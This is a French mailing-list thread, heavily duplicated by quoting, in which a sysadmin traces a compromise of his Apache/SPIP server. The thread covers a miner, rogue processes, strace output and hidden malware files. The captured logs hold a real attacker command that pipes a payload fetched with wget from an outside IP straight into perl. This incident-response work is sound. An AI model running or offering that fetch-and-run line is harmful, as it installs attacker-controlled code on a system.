Ma question est donc assez simple ;-) Comment trouver par quoi sont
lancés ces deux processus ?
Le 2023-06-23 10:08, BERTRAND Joël a écrit :
Ma question est donc assez simple ;-) Comment trouver par quoi sont
lancés ces deux processus ?
En pareille circonstance, il n'y a qu'une seule solution : analyse du
disque depuis un système live sur clé USB.
En effet, si un rootkit a été installé sur cette machine, ce qui semble être le cas, tu ne peux l'observer qu'à travers les lunettes que te
donne le rootkit. :)
Sébastien Dinot a écrit :
Le 2023-06-23 10:08, BERTRAND Joël a écrit :Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut
Ma question est donc assez simple ;-) Comment trouver par quoi sontEn pareille circonstance, il n'y a qu'une seule solution : analyse du
lancés ces deux processus ?
disque depuis un système live sur clé USB.
En effet, si un rootkit a été installé sur cette machine, ce qui semble >> être le cas, tu ne peux l'observer qu'à travers les lunettes que te
donne le rootkit. :)
faire après cela.
Sur cette machine, les seules choses tournant avec les droits www-data sont :
- un serveur apache2 (debian/testing)
- php 8.2 (et 7.4 pour un blog b2 evolution)
- trois sites SPIP (4.1.10 à jour, y compris les plugins)
Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut
faire après cela.
Porte d'entrée trouvée :
merci du retour d'expérience, c'est intéressant.
D'où l'importance des patchs de sécurité à passer le plus tôt possible.
BERTRAND Joël a écrit :
Porte d'entrée trouvée :
Merci pour ce retour, toujours intéressant à avoir.
je devais compiler moi-même le noyau au lieu d'utiliser celui fourni<html>
par Debian, chose que je faisais rarement par flemme (les attaquants
avaient utilisé une faille d'Apache qui n'avait existé que 3 jours sur Debian – pas de bol – puis ils avaient obtenu plus de privilèges en exploitant une faille dans le noyau, corrigée depuis bien longtemps
par Debian)
Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord un script sh qui daemonise un exécutable perl. Je cherche à savoir qui lance cette saleté (sans doute www-data) mais surtout quel est l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond
d'une arborescence de www-data, mais rien ne me saute aux yeux.
Bonjour,
Le lundi 26 juin 2023, BERTRAND Joël a écrit...
Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord >> un script sh qui daemonise un exécutable perl. Je cherche à savoir quiIl y a longtemps, j'avais eu un problème de ce genre, et je l'avais trouvé en croisant (je crois que ça a déjà été suggéré) les horaires de lancement
lance cette saleté (sans doute www-data) mais surtout quel est
l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond
d'une arborescence de www-data, mais rien ne me saute aux yeux.
avec l'exécution de certaines pages php.
Peut-être peux tu également faire une recherche grep (ou ack-grep, ou ag) sur les fichiers php et sur les fonctions qui peuvent agir. Je ne suis pas assez calé en php pour te conseiller, mais des trucs comme mail, ou fopen, ou system, ou exec, ou base64_encode (et decode) ?
Bonjour
rkhunter et chkrootkit ne détectent rien ?
Sébastien Dinot a écrit :
BERTRAND Joël a écrit :Porte d'entrée trouvée, mais il reste des scories. Je suis en train de
Porte d'entrée trouvée :Merci pour ce retour, toujours intéressant à avoir.
logguer ce que fait sh pour savoir quel est le processus qui me
réinstalle le vers régulièrement. Le truc est bien planqué et est revenu à la charge plusieurs fois ce matin. Bon, il ne peut rien faire puisque
les ports sur lesquels il veut se connecter sont fermés sur le firewall, mais c'est pénible. Ce n'est visiblement pas lancé par un cron (pas de régularité).
J'utilise un /bin/sh qui fait cela :
#!/bin/bash
if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi
if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi
logger -i "shell $*"
for i in $(pstree -p); do logger -i $i; done
exec $*
Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord un script sh qui daemonise un exécutable perl. Je cherche à savoir qui lance cette saleté (sans doute www-data) mais surtout quel est l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond
d'une arborescence de www-data, mais rien ne me saute aux yeux.
JB
#!/bin/bash
if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi
if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi
logger -i "shell $*"
for i in $(pstree -p); do logger -i $i; done
exec $*
Il y a longtemps, j'avais eu un problème de ce genre, et je l'avais trouvé en croisant (je crois que ça a déjà été suggéré) les horaires de lancement
avec l'exécution de certaines pages php.
Peut-être peux tu également faire une recherche grep (ou ack-grep, ou ag) sur les fichiers php et sur les fonctions qui peuvent agir. Je ne suis pas assez calé en php pour te conseiller, mais des trucs comme mail, ou fopen, ou system, ou exec, ou base64_encode (et decode) ?
Le 25 juin 2023 BERTRAND Joël a écrit :
Petite remarque : j'ai modifié allow_url_fopen de on à off dans le
fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on'
par défaut). /tmp est maintenant en noexec.
Attention de mémoire il y a plusieurs php.ini utilisés selon le mode d'appel
Bonjour à tous,
Je reviens au sujet de ma machine vérolée. J'ai un peu avancé sur le sujet. J'ai trouvé la porte d'entrée et corrigé.
Le processus hwm est un mineur de bitcoin. Celui-ci a été éradiqué et
ne revient plus m'embêter.
À intervalle régulier (ce matin à 08h50 par exemple), j'ai deux
processus qui déboulent :
30269 www-data 20 0 10816 7088 3336 S 0,0 0,0 0:00.65 /usr/local/apache/bin/httpd -DSSL
30275 www-data 20 0 10820 6660 2936 S 0,0 0,0 0:00.12 /usr/local/apache/bin/httpd -DSSL
Petit problème :
# ls -l /usr/local/apache/bin/httpd
ls: impossible d'accéder à '/usr/local/apache/bin/httpd': Aucun fichier
ou dossier de ce type
Un strace m'indique que le premier est un client, le second un serveur. Aucune idée de ce qu'ils font réellement, ça ne passe pas le firewall :
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("18.216.210.232")}, 16) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478), sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "NICK xxx1851\n", 13) = 13
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478), sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "USER xxx2113 192.168.15.18 18.21"..., 51) = 51 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=2, tv_nsec=0},
0x7fff7e181650) = 0
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=600000000}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=599995615})
read(3, "\r\n\r\nDisconnected\r\n", 4096) = 18
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=600000000}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=599996008})
read(3, "", 4096) = 0
close(3) = 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("18.216.210.232")}, 16) = -1 ETIMEDOUT (Connexion terminée par expiration du délai d'attente)
close(3) = 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
Vu ce que je trouve dans le répertoire cwd de l'un des processus (/tmp/.wwwodsfidsfe) :
# ls -alR
.:
total 8084
drwxrwxrwx 3 www-data www-data 4096 23 juin 08:50 .
drwxrwxrwt 10 root root 36864 23 juin 09:56 ..
drwxr-xr-x 2 www-data www-data 4096 23 juin 09:56 fs
-rw-rw-rw- 1 www-data www-data 8218683 23 juin 08:49 gg.tgz
./fs:
total 14928
drwxr-xr-x 2 www-data www-data 4096 23 juin 09:56 .
drwxrwxrwx 3 www-data www-data 4096 23 juin 08:50 ..
-rw-r--r-- 1 www-data www-data 24565 4 août 2022 1.html
-rw-r--r-- 1 www-data www-data 3014144 23 juin 08:50 abe
-rw-rw-rw- 1 www-data www-data 26 23 juin 09:56 bb
-rw-r--r-- 1 www-data www-data 34 3 août 2022 d
-rw-r--r-- 1 www-data www-data 26098 22 juin 09:10 da.html
-rw-rw-rw- 1 www-data www-data 33699 23 juin 09:55 di.html
-rw-r--r-- 1 www-data www-data 9235803 17 févr. 2022 git
-rw-rw-rw- 1 www-data www-data 29 23 juin 09:35 has
-rw-r--r-- 1 www-data www-data 43777 3 août 2022 me
-rw-r--r-- 1 www-data www-data 246233 14 juil. 2022 ok
-rw-r--r-- 1 www-data www-data 2598092 3 août 2022 ola
le truc en question doit être un genre de serveur de mails qui envoie du pishing à la terre entière. Ces deux processus sont lancés par un script sh qui reste dans l'état de zombie très longtemps. Le parent est init (tant qu'à faire). Je n'arrive pas à trouver par quoi ce truc est lancé périodiquement. Sans doute un processus avec les droits www-data.
Sur cette machine, les seules choses tournant avec les droits www-data
sont :
- un serveur apache2 (debian/testing)
- php 8.2 (et 7.4 pour un blog b2 evolution)
- trois sites SPIP (4.1.10 à jour, y compris les plugins)
Je n'ai rien trouvé dans le cron, rien dans les tâches planifiées des sites en question, rien dans les logs. Je ne sais plus où chercher.
Si je tue ces deux processus, au bout d'un certain temps, ils reviennent.
Ma question est donc assez simple ;-) Comment trouver par quoi sont
lancés ces deux processus ?
Bien cordialement,
JB
OK, je l'ai.
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.
OK, je l'ai.
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.
BERTRAND Joël a écrit :
OK, je l'ai.
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl
2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
/dev/shm;wget -O - http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
toujours pas qui le lance, mais on progresse.
Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
Le 27 juin 2023 BERTRAND Joël a écrit :
OK, je l'ai.
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.Bravo ! Le script est intéressant...
L'IP est listée : https://check.spamhaus.org/listed/?searchterm=68.235.39.225
www.minpop.com semble utilisé dans le script et renvoie à des IP en Corée
BERTRAND Joël a écrit :
OK, je l'ai.Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd
/dev/shm;wget -O -http://68.235.39.225/sepax|perl
2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd
/dev/shm;wget -O -http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais
toujours pas qui le lance, mais on progresse.
font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
Je ne l'aurais pas cru...
Le 27/06/2023 à 16:40, BERTRAND Joël a écrit :
BERTRAND Joël a écrit :
OK, je l'ai.
2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl
J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.
Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se
font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
| Sysop: | Keyop |
|---|---|
| Location: | Huddersfield, West Yorkshire, UK |
| Users: | 546 |
| Nodes: | 16 (0 / 16) |
| Uptime: | 164:33:02 |
| Calls: | 10,385 |
| Calls today: | 2 |
| Files: | 14,057 |
| Messages: | 6,416,518 |